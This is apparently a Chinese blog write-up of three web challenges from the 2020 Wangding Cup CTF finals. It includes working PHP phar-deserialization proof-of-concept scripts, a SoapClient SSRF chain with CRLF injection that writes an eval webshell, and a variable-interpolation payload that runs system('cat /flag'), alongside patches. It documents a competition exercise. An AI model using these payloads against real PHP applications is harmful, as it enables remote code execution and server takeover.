c1ay's blog

2020网鼎杯总决赛web题

字数统计: 1.4k阅读时长: 6 min
2020/12/14 Share

game_exp

漏洞一:phar反序列化

regiter.php当中第3行-第9行:

1
2
3
4
5
6
7
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}

AnyClass类的__destruct存在反序列化,而第31行file_exists函数刚好可以触发phar反序列化

mark

poc构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class AnyClass{
function __construct()
{
$this->output="system('ls /');";
}
}
$phar = new Phar("poc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$a=new AnyClass();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

在注册的时候上传图片,图片内容为上面poc生成的phar文件

mark

之后通过phar://协议触发反序列化,执行命令

mark

漏洞二:

finger/index.php:第4行-第23行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "127.0.0.1") {
include_once "../sqlhelper.php";
$uid = addslashes($_SESSION['uid']);
$mysql = new sqlhelper();
$sql = "SELECT id FROM goder where uid = '$uid'";
$res = $mysql->execute_dml($sql);
if ($res) {
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
echo "<script>alert('启动金手指模式!');</script>";
}
}else{
echo "<script>alert('你还不是王者!');</script>";
}
} else {
echo "<script>alert('只有本地的王者才能访问!');</script>";
}

可以看到存在命令执行,但是$_SERVER['REMOTE_ADDR']不能为127.0.0.1,这里当时不知道该怎么绕

patch:

regiter.php:把AnyClass类那段代码注释掉

finger/index.php:虽然绕不过去,但是通过漏洞一已经可以拿到flag了,这里只需要防御就行了,防御很简单,注释掉system($_POST['cmd'])这段代码就行

game_exp赛后补充:

漏洞二:另一处phar反序列化pop链

全局搜索__destruct,在user.php第40行-第44行

mark

这里的__destructuser类的goder_text成员变量进行了反序列化,然后调用了反序列化后对象的recordOrNot方法,这里可以把成员变量goder_text设置为php的内置类SoapClient,由于SoapClient类当中不存在recordOrNot方法,就会触发SoapClient类的__call方法,可以发起post请求,再结合CRLF就可以构造任意post请求,注意这里的soapclient触发的ssrf是没有回显的,所以需要通过写入webshell的方式

poc构造:

利用链:

register.php phar反序列化->利用User__destruct代码,通过SoapClient内置类触发SSRF->结合CLRF构造任意POST请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$target = 'http://127.0.0.1/finger/index.php';
$headers = array(
'Cookie: PHPSESSID=ie0il2me6irbvcqj1jebr67fu0'
);
$post_string = 'cmd=echo "<?php @eval(\$_GET[1]);?>" > shell.php';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
class User{
function __construct($aaa="")
{
$this->goder_text=$aaa;
}
}
$phar = new Phar("poc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$a=new User($aaa);
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

注意这里需要在http header当中设置一个登录后的session id,因为这里访问本地的时候做了登录检查,如下:

finger/index.php第二行,包含了login_requre.php

mark

login_requre.php当中进行了session登录认证

mark

场景复现

用docker在本地搭一个和比赛一样的镜像,需要安装php-soap扩展

mark

注册上传图片,图片内容改成上面poc生成的phar文件

mark

登录账号,给poc当中的sessionid授权

mark

phar触发反序列化,写入webshell

mark

成功写入:

mark

novel

漏洞:备份功能代码处理不当而导致的任意代码执行

class/back.class.php 第19行-第28行:backup函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public function backup($filename, $dest){
$filename='profile/'.$filename;
if(file_exists($filename)){
$content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
$password=$this->random_code();
$r['path']=$this->_write($dest, $this->_create($password, $content));
$r['password']=$password;
echo json_encode($r);
}
}
/* 先验证保证为备份文件后,再保存为私藏文件 */
private function _write($dest, $content){
$f1=$dest;
$f2='private/'.$this->random_code(10).".php";
$stream_f1 = fopen($f1, 'w+');
fwrite($stream_f1, $content);
rewind($stream_f1);
$f1_read=fread($stream_f1, 3000);
preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);
if(!empty($matches[0])){
copy($f1,$f2);
fclose($stream_f1);
return $f2;
}else{
fwrite($stream_f1, '<?php exit(); ?>');
fclose($stream_f1);
return false;
}
}
private function _create($password, $content){
$_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
return $_content;
}
private function random_code($length = 8,$chars = null){
if(empty($chars)){
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
}
$count = strlen($chars) - 1;
$code = '';
while( strlen($code) < $length){
$code .= substr($chars,rand(0,$count),1);
}
return $code;
}

这段代码大概就是把$content变量的内容写入php文件,之后设置随机密码,但是写入之前单引号双引号被htmlspecialchars函数转义了,不能闭合print函数,并且这里还存在正则检测,会对写入的代码进行匹配。但是这里print函数打印$content变量用的是双引号,于是通过php当中双引号可以解析变量的特性就可以进行绕过

可以通过${phpcode}这种方式去执行phpcode代码部分

首先上传txt,内容传入${@eval($_GET[1])};

mark

mark

mark

然后对txt进行备份,这里/private/vrKJjXTDVw.php写入的内容就变成了

1
<?php $_GET["password"]==="f1jUc24l"?print("${@eval($_GET[1])};"):exit();

因为print的双引号可以解析变量,所以这里构造的php代码并不是被print函数输出,而是被执行了

获取flag

http://172.16.9.23:9014/private/vrKJjXTDVw.php?password=f1jUc24l&1=system(%27cat%20/flag%27);

mark

patch:

第56行,修改为:

1
$_content="<?php $_GET['password']==='".$password."'?print('".$content."'):exit(); ";

这里把print函数的双引号换成了单引号,防止变量被解析

然后需要修改正则,第41行,修改为:

1
preg_match("/^<\?php \$_GET\[\'password\'\]===\'[a-zA-Z0-9]{8}\'\?print\(\'.*\'\):exit\(\); $/s", $f1_read, $matches);

vulnfaces

完全没思路的一道题,赛后百度了一下才知道题目环境用的是RichFaces,应该是CVE-2018-12533(EL表达式注入),但是有过滤,绕不过去,有时间要好好研究一下,填个坑

web题目现在在BUUCTF(https://buuoj.cn/challenges)平台上都有了,没有代码无法搭环境学习复现的同学,可以去这个平台上做

CATALOG
  1. 1. game_exp
  2. 2. novel
  3. 3. vulnfaces